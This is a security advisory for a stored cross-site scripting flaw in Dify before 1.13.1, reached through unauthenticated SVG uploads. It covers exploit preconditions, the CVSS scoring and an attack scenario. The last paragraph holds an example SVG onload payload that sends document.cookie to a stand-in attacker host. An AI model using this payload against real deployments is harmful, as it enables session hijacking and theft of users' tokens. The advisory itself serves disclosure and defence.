Dify EUVD-2026-27071

The POST /api/files/upload endpoint must be accessible over the network without authentication (confirmed by CVSS PR:N and description stating 'any unauthenticated user can upload'). The application must serve or display uploaded SVG files to users without sanitizing embedded JavaScript or applying strict Content-Security-Policy headers. No special configuration or non-default settings are required - the vulnerability exists in default deployments of Dify prior to 1.13.1. The authenticated POST /v1/files/upload endpoint requires valid API credentials but is vulnerable if the attacker has legitimate access or can obtain API keys. Attack success depends on the victim user viewing the uploaded file or interacting with content that renders the SVG in a browser context with script execution enabled.

CVSS 6.9 (Medium-High) with network vector (AV:N), low complexity (AC:L), and no authentication required (PR:N) indicates a relatively accessible vulnerability. The vector shows integrity impact (VI:L) consistent with XSS capabilities. However, CVSS 4.0 shows no confidentiality or availability impact, limiting the scope to data manipulation and user manipulation rather than direct data theft or service disruption. The EUVD listing and GitHub security advisory confirm vendor acknowledgment. No KEV status or active exploitation data provided, but the unauthenticated attack vector on a public endpoint (POST /api/files/upload) makes this a practical risk for any publicly accessible Dify instance. The lack of confidentiality impact in the CVSS vector suggests this is primarily a user-to-user XSS attack (affecting other application users rather than the server itself), but the integrity impact indicates successful XSS could modify displayed content or execute unauthorized actions on behalf of victim users. This is a real priority for multi-user Dify deployments but less critical for single-user or isolated instances.

An attacker crafts an SVG file containing an XSS payload (e.g., <svg onload="fetch('http://attacker.com/steal?cookie='+document.cookie)"></svg>) and uploads it via POST /api/files/upload without authentication. When another user or an administrator views the uploaded file or a preview in the Dify interface, the embedded JavaScript executes in their browser, exfiltrating session cookies or API tokens to the attacker's server. The attacker can then hijack the victim's session or automate malicious actions within Dify.